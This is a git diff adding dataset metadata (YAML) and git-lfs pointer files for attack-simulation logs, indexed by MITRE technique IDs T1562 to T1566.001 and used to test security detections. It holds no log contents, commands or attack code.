a/datasets/attack_techniques/T1562.008/stop_delete_cloudtrail/asl_ocsf_cloudtrail-760be82f-f921-4c51-be8b-aa917254efd4.log b/datasets/attack_techniques/T1562.008/stop_delete_cloudtrail/asl_ocsf_cloudtrail-760be82f-f921-4c51-be8b-aa917254efd4.log new file mode 100644 index 000000000..19ad044c3 --- /dev/null +++ b/datasets/attack_techniques/T1562.008/stop_delete_cloudtrail/asl_ocsf_cloudtrail-760be82f-f921-4c51-be8b-aa917254efd4.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:c93dfba3aad5dcf528ff58e2c6461e8804bbe14539ae4b5c55240fb0d8d68235 +size 2400 diff --git a/datasets/attack_techniques/T1562.008/stop_delete_cloudtrail/asl_ocsf_cloudtrail_2-760be82f-f921-4c51-be8b-aa917254efd4.log b/datasets/attack_techniques/T1562.008/stop_delete_cloudtrail/asl_ocsf_cloudtrail_2-760be82f-f921-4c51-be8b-aa917254efd4.log new file mode 100644 index 000000000..07dd07240 --- /dev/null +++ b/datasets/attack_techniques/T1562.008/stop_delete_cloudtrail/asl_ocsf_cloudtrail_2-760be82f-f921-4c51-be8b-aa917254efd4.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:55fa99d9d926006e1be1fe9a696f488e52c2c2341cbd0b3b13791f6cb0daacc8 +size 2410 diff --git a/datasets/attack_techniques/T1562.008/stop_delete_cloudtrail/aws_cloudtrail_events-760be82f-f921-4c51-be8b-aa917254efd4.log b/datasets/attack_techniques/T1562.008/stop_delete_cloudtrail/aws_cloudtrail_events-760be82f-f921-4c51-be8b-aa917254efd4.log new file mode 100644 index 000000000..76b2a0935 --- /dev/null +++ b/datasets/attack_techniques/T1562.008/stop_delete_cloudtrail/aws_cloudtrail_events-760be82f-f921-4c51-be8b-aa917254efd4.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:c5503e9221bc5cf09558bca948d46dc459ee93e4905c63b5ba19e17a40a2beba +size 966 diff --git a/datasets/attack_techniques/T1562.008/update_cloudtrail/T1562.008_update_cloudtrail.yml b/datasets/attack_techniques/T1562.008/update_cloudtrail/T1562.008_update_cloudtrail.yml new file mode 100644 index 000000000..a46ef53e9 --- /dev/null +++ b/datasets/attack_techniques/T1562.008/update_cloudtrail/T1562.008_update_cloudtrail.yml @@ -0,0 +1,17 @@ +author: STRT +id: e9194ecb-6dff-4ee0-9032-86e03cae4a64 +date: '2026-07-10' +description: Curated attack data generated for detection ASL AWS Defense Evasion Update + Cloudtrail +environment: attack_range +directory: update_cloudtrail +mitre_technique: [] +datasets: +- name: asl_ocsf_cloudtrail + path: /datasets/attack_techniques/T1562.008/update_cloudtrail/asl_ocsf_cloudtrail-e9194ecb-6dff-4ee0-9032-86e03cae4a64.log + sourcetype: aws:asl + source: aws_asl +- name: aws_cloudtrail_events + path: /datasets/attack_techniques/T1562.008/update_cloudtrail/aws_cloudtrail_events-e9194ecb-6dff-4ee0-9032-86e03cae4a64.log + sourcetype: aws:cloudtrail + source: aws_cloudtrail diff --git a/datasets/attack_techniques/T1562.008/update_cloudtrail/asl_ocsf_cloudtrail-e9194ecb-6dff-4ee0-9032-86e03cae4a64.log b/datasets/attack_techniques/T1562.008/update_cloudtrail/asl_ocsf_cloudtrail-e9194ecb-6dff-4ee0-9032-86e03cae4a64.log new file mode 100644 index 000000000..b3f0b4b63 --- /dev/null +++ b/datasets/attack_techniques/T1562.008/update_cloudtrail/asl_ocsf_cloudtrail-e9194ecb-6dff-4ee0-9032-86e03cae4a64.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:024c28304af04d4681278e00f1a1db1d240b95a84c4cba0434eaa71b337249b3 +size 2985 diff --git a/datasets/attack_techniques/T1562.008/update_cloudtrail/aws_cloudtrail_events-e9194ecb-6dff-4ee0-9032-86e03cae4a64.log b/datasets/attack_techniques/T1562.008/update_cloudtrail/aws_cloudtrail_events-e9194ecb-6dff-4ee0-9032-86e03cae4a64.log new file mode 100644 index 000000000..7a9d45651 --- /dev/null +++ b/datasets/attack_techniques/T1562.008/update_cloudtrail/aws_cloudtrail_events-e9194ecb-6dff-4ee0-9032-86e03cae4a64.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:e9f7a95c75a7c73a2a1237525505618b268ddb835539699fb863259e238bee31 +size 1341 diff --git a/datasets/attack_techniques/T1562/applocker/T1562_applocker.yml b/datasets/attack_techniques/T1562/applocker/T1562_applocker.yml new file mode 100644 index 000000000..8c70a97ad --- /dev/null +++ b/datasets/attack_techniques/T1562/applocker/T1562_applocker.yml @@ -0,0 +1,12 @@ +author: STRT +id: f983da85-0088-4242-9cd5-f699a6f1ef30 +date: '2026-07-11' +description: Curated attack data generated for detection Windows AppLocker Block Events +environment: attack_range +directory: applocker +mitre_technique: [] +datasets: +- name: applocker + path: /datasets/attack_techniques/T1562/applocker/applocker-f983da85-0088-4242-9cd5-f699a6f1ef30.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-AppLocker/MSI and Script diff --git a/datasets/attack_techniques/T1562/applocker/applocker-f983da85-0088-4242-9cd5-f699a6f1ef30.log b/datasets/attack_techniques/T1562/applocker/applocker-f983da85-0088-4242-9cd5-f699a6f1ef30.log new file mode 100644 index 000000000..b3dd6c200 --- /dev/null +++ b/datasets/attack_techniques/T1562/applocker/applocker-f983da85-0088-4242-9cd5-f699a6f1ef30.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:5a1c4daac226c19c076b6c267acd330ff6603a4ebcedcc333812cc32746d5215 +size 631972 diff --git a/datasets/attack_techniques/T1562/azuread_disable_blockconsent_for_riskapps/T1562_azuread_disable_blockconsent_for_riskapps.yml b/datasets/attack_techniques/T1562/azuread_disable_blockconsent_for_riskapps/T1562_azuread_disable_blockconsent_for_riskapps.yml new file mode 100644 index 000000000..e8b38c237 --- /dev/null +++ b/datasets/attack_techniques/T1562/azuread_disable_blockconsent_for_riskapps/T1562_azuread_disable_blockconsent_for_riskapps.yml @@ -0,0 +1,13 @@ +author: STRT +id: a07ac6ea-2af9-49db-9b4e-eec8ed475d82 +date: '2026-07-10' +description: Curated attack data generated for detection Azure AD Block User Consent + For Risky Apps Disabled +environment: attack_range +directory: azuread_disable_blockconsent_for_riskapps +mitre_technique: [] +datasets: +- name: azuread_disable_blockconsent_for_riskapps + path: /datasets/attack_techniques/T1562/azuread_disable_blockconsent_for_riskapps/azuread_disable_blockconsent_for_riskapps-a07ac6ea-2af9-49db-9b4e-eec8ed475d82.log + sourcetype: azure:monitor:aad + source: Azure Ad diff --git a/datasets/attack_techniques/T1562/azuread_disable_blockconsent_for_riskapps/azuread_disable_blockconsent_for_riskapps-a07ac6ea-2af9-49db-9b4e-eec8ed475d82.log b/datasets/attack_techniques/T1562/azuread_disable_blockconsent_for_riskapps/azuread_disable_blockconsent_for_riskapps-a07ac6ea-2af9-49db-9b4e-eec8ed475d82.log new file mode 100644 index 000000000..411ed4d12 --- /dev/null +++ b/datasets/attack_techniques/T1562/azuread_disable_blockconsent_for_riskapps/azuread_disable_blockconsent_for_riskapps-a07ac6ea-2af9-49db-9b4e-eec8ed475d82.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:25477bfa72c452d361c49de8bb475c0202669c00d28583da7cee8d17f6ba98dc +size 1767 diff --git a/datasets/attack_techniques/T1562/esxi_encryption_modified/T1562_esxi_encryption_modified.yml b/datasets/attack_techniques/T1562/esxi_encryption_modified/T1562_esxi_encryption_modified.yml new file mode 100644 index 000000000..7867000f0 --- /dev/null +++ b/datasets/attack_techniques/T1562/esxi_encryption_modified/T1562_esxi_encryption_modified.yml @@ -0,0 +1,13 @@ +author: STRT +id: e179ee5f-4763-4ee8-befe-a11e8f127ecc +date: '2026-07-13' +description: Curated attack data generated for detection ESXi Encryption Settings + Modified +environment: attack_range +directory: esxi_encryption_modified +mitre_technique: [] +datasets: +- name: esxi_encryption_modified + path: /datasets/attack_techniques/T1562/esxi_encryption_modified/esxi_encryption_modified-e179ee5f-4763-4ee8-befe-a11e8f127ecc.log + sourcetype: vmw-syslog + source: vmware:esxlog diff --git a/datasets/attack_techniques/T1562/esxi_encryption_modified/esxi_encryption_modified-e179ee5f-4763-4ee8-befe-a11e8f127ecc.log b/datasets/attack_techniques/T1562/esxi_encryption_modified/esxi_encryption_modified-e179ee5f-4763-4ee8-befe-a11e8f127ecc.log new file mode 100644 index 000000000..cb97b351f --- /dev/null +++ b/datasets/attack_techniques/T1562/esxi_encryption_modified/esxi_encryption_modified-e179ee5f-4763-4ee8-befe-a11e8f127ecc.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:ef17e70b685785d1fdb3df6e6b47c37411e194c746c2da81f1eb4d9e2c6a6b86 +size 1113 diff --git a/datasets/attack_techniques/T1562/esxi_lockdown_disabled/T1562_esxi_lockdown_disabled.yml b/datasets/attack_techniques/T1562/esxi_lockdown_disabled/T1562_esxi_lockdown_disabled.yml new file mode 100644 index 000000000..1f3da6b20 --- /dev/null +++ b/datasets/attack_techniques/T1562/esxi_lockdown_disabled/T1562_esxi_lockdown_disabled.yml @@ -0,0 +1,12 @@ +author: STRT +id: c01910dd-bbe6-4e66-8a9d-2e23db2f6890 +date: '2026-07-13' +description: Curated attack data generated for detection ESXi Lockdown Mode Disabled +environment: attack_range +directory: esxi_lockdown_disabled +mitre_technique: [] +datasets: +- name: esxi_lockdown_disabled + path: /datasets/attack_techniques/T1562/esxi_lockdown_disabled/esxi_lockdown_disabled-c01910dd-bbe6-4e66-8a9d-2e23db2f6890.log + sourcetype: vmw-syslog + source: vmware:esxlog diff --git a/datasets/attack_techniques/T1562/esxi_lockdown_disabled/esxi_lockdown_disabled-c01910dd-bbe6-4e66-8a9d-2e23db2f6890.log b/datasets/attack_techniques/T1562/esxi_lockdown_disabled/esxi_lockdown_disabled-c01910dd-bbe6-4e66-8a9d-2e23db2f6890.log new file mode 100644 index 000000000..fc29cba1f --- /dev/null +++ b/datasets/attack_techniques/T1562/esxi_lockdown_disabled/esxi_lockdown_disabled-c01910dd-bbe6-4e66-8a9d-2e23db2f6890.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:19031a5f7754b7a1f16820f926c673fae62476f839f4813104ff9cb38ea565cc +size 945 diff --git a/datasets/attack_techniques/T1562/esxi_vib_acceptance_level_tampering/T1562_esxi_vib_acceptance_level_tampering.yml b/datasets/attack_techniques/T1562/esxi_vib_acceptance_level_tampering/T1562_esxi_vib_acceptance_level_tampering.yml new file mode 100644 index 000000000..22b39ff70 --- /dev/null +++ b/datasets/attack_techniques/T1562/esxi_vib_acceptance_level_tampering/T1562_esxi_vib_acceptance_level_tampering.yml @@ -0,0 +1,13 @@ +author: STRT +id: b65344c0-8475-4fdb-aece-a969430df9d0 +date: '2026-07-13' +description: Curated attack data generated for detection ESXi VIB Acceptance Level + Tampering +environment: attack_range +directory: esxi_vib_acceptance_level_tampering +mitre_technique: [] +datasets: +- name: esxi_vib_acceptance_level_tampering + path: /datasets/attack_techniques/T1562/esxi_vib_acceptance_level_tampering/esxi_vib_acceptance_level_tampering-b65344c0-8475-4fdb-aece-a969430df9d0.log + sourcetype: vmw-syslog + source: vmware:esxlog diff --git a/datasets/attack_techniques/T1562/esxi_vib_acceptance_level_tampering/esxi_vib_acceptance_level_tampering-b65344c0-8475-4fdb-aece-a969430df9d0.log b/datasets/attack_techniques/T1562/esxi_vib_acceptance_level_tampering/esxi_vib_acceptance_level_tampering-b65344c0-8475-4fdb-aece-a969430df9d0.log new file mode 100644 index 000000000..a405330da --- /dev/null +++ b/datasets/attack_techniques/T1562/esxi_vib_acceptance_level_tampering/esxi_vib_acceptance_level_tampering-b65344c0-8475-4fdb-aece-a969430df9d0.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:bf9ad10d6edb562383c91ab4e3cae86def6814f6c82241c42871381ef3c8f164 +size 580 diff --git a/datasets/attack_techniques/T1562/o365_disable_blockconsent_for_riskapps/T1562_o365_disable_blockconsent_for_riskapps.yml b/datasets/attack_techniques/T1562/o365_disable_blockconsent_for_riskapps/T1562_o365_disable_blockconsent_for_riskapps.yml new file mode 100644 index 000000000..32bf01004 --- /dev/null +++ b/datasets/attack_techniques/T1562/o365_disable_blockconsent_for_riskapps/T1562_o365_disable_blockconsent_for_riskapps.yml @@ -0,0 +1,13 @@ +author: STRT +id: a9260036-01ca-4566-ab14-50b3b4a2cdcc +date: '2026-07-10' +description: Curated attack data generated for detection O365 Block User Consent For + Risky Apps Disabled +environment: attack_range +directory: o365_disable_blockconsent_for_riskapps +mitre_technique: [] +datasets: +- name: o365_disable_blockconsent_for_riskapps + path: /datasets/attack_techniques/T1562/o365_disable_blockconsent_for_riskapps/o365_disable_blockconsent_for_riskapps-a9260036-01ca-4566-ab14-50b3b4a2cdcc.log + sourcetype: o365:management:activity + source: O365 diff --git a/datasets/attack_techniques/T1562/o365_disable_blockconsent_for_riskapps/o365_disable_blockconsent_for_riskapps-a9260036-01ca-4566-ab14-50b3b4a2cdcc.log b/datasets/attack_techniques/T1562/o365_disable_blockconsent_for_riskapps/o365_disable_blockconsent_for_riskapps-a9260036-01ca-4566-ab14-50b3b4a2cdcc.log new file mode 100644 index 000000000..6a7a95c70 --- /dev/null +++ b/datasets/attack_techniques/T1562/o365_disable_blockconsent_for_riskapps/o365_disable_blockconsent_for_riskapps-a9260036-01ca-4566-ab14-50b3b4a2cdcc.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:50ecfb9a48077b29bcc4b609bb4c1f2970f2e186be15ca09aede8a4defdc60e9 +size 1949 diff --git a/datasets/attack_techniques/T1562/snapattack/T1562_snapattack.yml b/datasets/attack_techniques/T1562/snapattack/T1562_snapattack.yml new file mode 100644 index 000000000..ba9bca179 --- /dev/null +++ b/datasets/attack_techniques/T1562/snapattack/T1562_snapattack.yml @@ -0,0 +1,13 @@ +author: STRT +id: dc72b9d3-940b-494b-9bd1-5b8d1c2daace +date: '2026-07-11' +description: Curated attack data generated for detection Windows CrowdStrike Agent + Registry Key Removal +environment: attack_range +directory: snapattack +mitre_technique: [] +datasets: +- name: snapattack + path: /datasets/attack_techniques/T1562/snapattack/snapattack-dc72b9d3-940b-494b-9bd1-5b8d1c2daace.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1562/snapattack/snapattack-dc72b9d3-940b-494b-9bd1-5b8d1c2daace.log b/datasets/attack_techniques/T1562/snapattack/snapattack-dc72b9d3-940b-494b-9bd1-5b8d1c2daace.log new file mode 100644 index 000000000..a1acccc81 --- /dev/null +++ b/datasets/attack_techniques/T1562/snapattack/snapattack-dc72b9d3-940b-494b-9bd1-5b8d1c2daace.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:07f1634b0fc4d3de48e318ac6c220965045ab020ff1deabbf8e4e960caec2a6c +size 1471 diff --git a/datasets/attack_techniques/T1563.002/rdphijack/T1563.002_rdphijack.yml b/datasets/attack_techniques/T1563.002/rdphijack/T1563.002_rdphijack.yml new file mode 100644 index 000000000..1f23939a0 --- /dev/null +++ b/datasets/attack_techniques/T1563.002/rdphijack/T1563.002_rdphijack.yml @@ -0,0 +1,13 @@ +author: STRT +id: b404fdb5-2477-435d-b58c-020733e4d485 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Service Create with + Tscon +environment: attack_range +directory: rdphijack +mitre_technique: [] +datasets: +- name: tscon_windows-sysmon + path: /datasets/attack_techniques/T1563.002/rdphijack/tscon_windows-sysmon-b404fdb5-2477-435d-b58c-020733e4d485.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1563.002/rdphijack/tscon_windows-sysmon-b404fdb5-2477-435d-b58c-020733e4d485.log b/datasets/attack_techniques/T1563.002/rdphijack/tscon_windows-sysmon-b404fdb5-2477-435d-b58c-020733e4d485.log new file mode 100644 index 000000000..f05830069 --- /dev/null +++ b/datasets/attack_techniques/T1563.002/rdphijack/tscon_windows-sysmon-b404fdb5-2477-435d-b58c-020733e4d485.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:d0b5a52aa37b71d12cc14a2f15a173c40b3a714434ed468eb180e897b78e33c4 +size 10512 diff --git a/datasets/attack_techniques/T1563.002/windows_rdp_connection_successful/T1563.002_windows_rdp_connection_successful.yml b/datasets/attack_techniques/T1563.002/windows_rdp_connection_successful/T1563.002_windows_rdp_connection_successful.yml new file mode 100644 index 000000000..6cb5968ae --- /dev/null +++ b/datasets/attack_techniques/T1563.002/windows_rdp_connection_successful/T1563.002_windows_rdp_connection_successful.yml @@ -0,0 +1,12 @@ +author: STRT +id: f73c637d-e3de-41f8-92ec-bc027836f3ba +date: '2026-07-11' +description: Curated attack data generated for detection Windows RDP Connection Successful +environment: attack_range +directory: windows_rdp_connection_successful +mitre_technique: [] +datasets: +- name: windows-xml + path: /datasets/attack_techniques/T1563.002/windows_rdp_connection_successful/windows-xml-f73c637d-e3de-41f8-92ec-bc027836f3ba.log + sourcetype: XmlWinEventLog + source: WinEventLog:Microsoft-Windows-TerminalServices-RemoteConnectionManager/Operational diff --git a/datasets/attack_techniques/T1563.002/windows_rdp_connection_successful/windows-xml-f73c637d-e3de-41f8-92ec-bc027836f3ba.log b/datasets/attack_techniques/T1563.002/windows_rdp_connection_successful/windows-xml-f73c637d-e3de-41f8-92ec-bc027836f3ba.log new file mode 100644 index 000000000..12368db02 --- /dev/null +++ b/datasets/attack_techniques/T1563.002/windows_rdp_connection_successful/windows-xml-f73c637d-e3de-41f8-92ec-bc027836f3ba.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:b6b542fce0fbe87c2e10eb25b27fd2113902724e9c58a5713101028c95b4998b +size 2576 diff --git a/datasets/attack_techniques/T1564.003/headless/4688_conhost_headless-cd30482d-e93e-4cde-a8fb-276e3cbafe23.log b/datasets/attack_techniques/T1564.003/headless/4688_conhost_headless-cd30482d-e93e-4cde-a8fb-276e3cbafe23.log new file mode 100644 index 000000000..7cce35482 --- /dev/null +++ b/datasets/attack_techniques/T1564.003/headless/4688_conhost_headless-cd30482d-e93e-4cde-a8fb-276e3cbafe23.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:34ed983ffb35c9430f2a838a2cd98a7151aca872d7923eefe0d02345b60b7513 +size 6005 diff --git a/datasets/attack_techniques/T1564.003/headless/T1564.003_headless.yml b/datasets/attack_techniques/T1564.003/headless/T1564.003_headless.yml new file mode 100644 index 000000000..775aaebce --- /dev/null +++ b/datasets/attack_techniques/T1564.003/headless/T1564.003_headless.yml @@ -0,0 +1,13 @@ +author: STRT +id: cd30482d-e93e-4cde-a8fb-276e3cbafe23 +date: '2026-07-11' +description: Curated attack data generated for detection Windows ConHost with Headless + Argument +environment: attack_range +directory: headless +mitre_technique: [] +datasets: +- name: 4688_conhost_headless + path: /datasets/attack_techniques/T1564.003/headless/4688_conhost_headless-cd30482d-e93e-4cde-a8fb-276e3cbafe23.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Security diff --git a/datasets/attack_techniques/T1564.004/ads_abuse/T1564.004_ads_abuse.yml b/datasets/attack_techniques/T1564.004/ads_abuse/T1564.004_ads_abuse.yml new file mode 100644 index 000000000..98070ab2d --- /dev/null +++ b/datasets/attack_techniques/T1564.004/ads_abuse/T1564.004_ads_abuse.yml @@ -0,0 +1,13 @@ +author: STRT +id: 846e4327-a3d9-46d5-a40e-c903336cc0db +date: '2026-07-11' +description: Curated attack data generated for detection Windows Alternate DataStream + - Executable Content +environment: attack_range +directory: ads_abuse +mitre_technique: [] +datasets: +- name: ads_abuse_sysmon + path: /datasets/attack_techniques/T1564.004/ads_abuse/ads_abuse_sysmon-846e4327-a3d9-46d5-a40e-c903336cc0db.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1564.004/ads_abuse/ads_abuse_sysmon-846e4327-a3d9-46d5-a40e-c903336cc0db.log b/datasets/attack_techniques/T1564.004/ads_abuse/ads_abuse_sysmon-846e4327-a3d9-46d5-a40e-c903336cc0db.log new file mode 100644 index 000000000..27f4b756f --- /dev/null +++ b/datasets/attack_techniques/T1564.004/ads_abuse/ads_abuse_sysmon-846e4327-a3d9-46d5-a40e-c903336cc0db.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:34fbfab64c814840f33426d75ac6294e887f8da80ede3ab436678024f893df3c +size 2266 diff --git a/datasets/attack_techniques/T1564.004/rogueplanet/T1564.004_rogueplanet.yml b/datasets/attack_techniques/T1564.004/rogueplanet/T1564.004_rogueplanet.yml new file mode 100644 index 000000000..5e193aa8e --- /dev/null +++ b/datasets/attack_techniques/T1564.004/rogueplanet/T1564.004_rogueplanet.yml @@ -0,0 +1,13 @@ +author: STRT +id: 35fa7419-f782-486f-89c1-426b417b0e31 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Wermgr Alternate + Data Stream in Temp Dir +environment: attack_range +directory: rogueplanet +mitre_technique: [] +datasets: +- name: rogue_15 + path: /datasets/attack_techniques/T1564.004/rogueplanet/rogue_15-35fa7419-f782-486f-89c1-426b417b0e31.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1564.004/rogueplanet/rogue_15-35fa7419-f782-486f-89c1-426b417b0e31.log b/datasets/attack_techniques/T1564.004/rogueplanet/rogue_15-35fa7419-f782-486f-89c1-426b417b0e31.log new file mode 100644 index 000000000..7ee6ded92 --- /dev/null +++ b/datasets/attack_techniques/T1564.004/rogueplanet/rogue_15-35fa7419-f782-486f-89c1-426b417b0e31.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:cfe575ed9daab5bf8ac849be6a4b1081300fd52228615b5841dca108ed68d8e0 +size 1312 diff --git a/datasets/attack_techniques/T1564/sc_sdset_tampering/T1564_sc_sdset_tampering.yml b/datasets/attack_techniques/T1564/sc_sdset_tampering/T1564_sc_sdset_tampering.yml new file mode 100644 index 000000000..303b35b89 --- /dev/null +++ b/datasets/attack_techniques/T1564/sc_sdset_tampering/T1564_sc_sdset_tampering.yml @@ -0,0 +1,13 @@ +author: STRT +id: e09fad2b-24a0-4d84-a1f2-ac11c2529138 +date: '2026-07-11' +description: Curated attack data generated for detection Windows New Deny Permission + Set On Service SD Via Sc.EXE +environment: attack_range +directory: sc_sdset_tampering +mitre_technique: [] +datasets: +- name: sc_sdset_tampering_sysmon + path: /datasets/attack_techniques/T1564/sc_sdset_tampering/sc_sdset_tampering_sysmon-e09fad2b-24a0-4d84-a1f2-ac11c2529138.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1564/sc_sdset_tampering/sc_sdset_tampering_sysmon-e09fad2b-24a0-4d84-a1f2-ac11c2529138.log b/datasets/attack_techniques/T1564/sc_sdset_tampering/sc_sdset_tampering_sysmon-e09fad2b-24a0-4d84-a1f2-ac11c2529138.log new file mode 100644 index 000000000..15edba36a --- /dev/null +++ b/datasets/attack_techniques/T1564/sc_sdset_tampering/sc_sdset_tampering_sysmon-e09fad2b-24a0-4d84-a1f2-ac11c2529138.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:e6cf5de0accd9571cfcb3f9b7292cd2da91fe32718ecb635ded97c9cdb91d7b3 +size 2471 diff --git a/datasets/attack_techniques/T1565.001/wbadmin_recovery/T1565.001_wbadmin_recovery.yml b/datasets/attack_techniques/T1565.001/wbadmin_recovery/T1565.001_wbadmin_recovery.yml new file mode 100644 index 000000000..2a75d85ab --- /dev/null +++ b/datasets/attack_techniques/T1565.001/wbadmin_recovery/T1565.001_wbadmin_recovery.yml @@ -0,0 +1,13 @@ +author: STRT +id: 3db9ea5e-6e6a-4a23-b612-64b02687f72a +date: '2026-07-11' +description: Curated attack data generated for detection Windows WBAdmin File Recovery + From Backup +environment: attack_range +directory: wbadmin_recovery +mitre_technique: [] +datasets: +- name: wbadmin_recovery + path: /datasets/attack_techniques/T1565.001/wbadmin_recovery/wbadmin_recovery-3db9ea5e-6e6a-4a23-b612-64b02687f72a.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1565.001/wbadmin_recovery/wbadmin_recovery-3db9ea5e-6e6a-4a23-b612-64b02687f72a.log b/datasets/attack_techniques/T1565.001/wbadmin_recovery/wbadmin_recovery-3db9ea5e-6e6a-4a23-b612-64b02687f72a.log new file mode 100644 index 000000000..d6759fe74 --- /dev/null +++ b/datasets/attack_techniques/T1565.001/wbadmin_recovery/wbadmin_recovery-3db9ea5e-6e6a-4a23-b612-64b02687f72a.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:b84e4684fd9c52ab2cd065313bfc6d40ea327539ce40f5c6f1d53d38d4751af0 +size 4300 diff --git a/datasets/attack_techniques/T1566.001/datasets/T1566.001_datasets.yml b/datasets/attack_techniques/T1566.001/datasets/T1566.001_datasets.yml new file mode 100644 index 000000000..77d462ae2 --- /dev/null +++ b/datasets/attack_techniques/T1566.001/datasets/T1566.001_datasets.yml @@ -0,0 +1,13 @@ +author: STRT +id: 0347f5a4-0f46-4879-bc10-2dda6c1be99b +date: '2026-07-11' +description: Curated attack data generated for detection Windows Office Product Loading + Taskschd DLL +environment: attack_range +directory: datasets +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1566.001/datasets/windows-sysmon-0347f5a4-0f46-4879-bc10-2dda6c1be99b.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1566.001/datasets/windows-sysmon-0347f5a4-0f46-4879-bc10-2dda6c1be99b.log b/datasets/attack_techniques/T1566.001/datasets/windows-sysmon-0347f5a4-0f46-4879-bc10-2dda6c1be99b.log new file mode 100644 index 000000000..9a1d45800 --- /dev/null +++ b/datasets/attack_techniques/T1566.001/datasets/windows-sysmon-0347f5a4-0f46-4879-bc10-2dda6c1be99b.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:43c68afd8c610ec3427988090cce871bfc8eb1e2f663d4d6c20805f1b673f433 +size 13404 diff --git a/datasets/attack_techniques/T1566.001/datasets2/T1566.001_datasets2.yml b/datasets/attack_techniques/T1566.001/datasets2/T1566.001_datasets2.yml new file mode 100644 index 000000000..2b55f22e6 --- /dev/null +++ b/datasets/attack_techniques/T1566.001/datasets2/T1566.001_datasets2.yml @@ -0,0 +1,13 @@ +author: STRT +id: 7eb0da64-0028-4bd4-9a84-c5730124b113 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Office Product Spawned + Child Process For Download +environment: attack_range +directory: datasets2 +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1566.001/datasets2/windows-sysmon-7eb0da64-0028-4bd4-9a84-c5730124b113.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1566.001/datasets2/windows-sysmon-7eb0da64-0028-4bd4-9a84-c5730124b113.log b/datasets/attack_techniques/T1566.001/datasets2/windows-sysmon-7eb0da64-0028-4bd4-9a84-c5730124b113.log new file mode 100644 index 000000000..da3e2b69c --- /dev/null +++ b/datasets/attack_techniques/T1566.001/datasets2/windows-sysmon-7eb0da64-0028-4bd4-9a84-c5730124b113.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:a0f8ca721b8b97f4df308c2a59e723671ec7f2666de44f78ba239872cda1af0b +size 3992 diff --git a/datasets/attack_techniques/T1566.001/gsuite_outbound_email_to_external/T1566.001_gsuite_outbound_email_to_external.yml b/datasets/attack_techniques/T1566.001/gsuite_outbound_email_to_external/T1566.001_gsuite_outbound_email_to_external.yml new file mode 100644 index 000000000..41a75000a --- /dev/null +++ b/datasets/attack_techniques/T1566.001/gsuite_outbound_email_to_external/T1566.001_gsuite_outbound_email_to_external.yml @@ -0,0 +1,13 @@ +author: STRT +id: ead290e1-349d-47b2-a6d9-1dc71b35906b +date: '2026-07-10' +description: Curated attack data generated for detection Gsuite Outbound Email With + Attachment To External Domain +environment: attack_range +directory: gsuite_outbound_email_to_external +mitre_technique: [] +datasets: +- name: gsuite_external_domain + path: /datasets/attack_techniques/T1566.001/gsuite_outbound_email_to_external/gsuite_external_domain-ead290e1-349d-47b2-a6d9-1dc71b35906b.log + sourcetype: gsuite:gmail:bigquery + source: http:gsuite diff --git a/datasets/attack_techniques/T1566.001/gsuite_outbound_email_to_external/gsuite_external_domain-ead290e1-349d-47b2-a6d9-1dc71b35906b.log 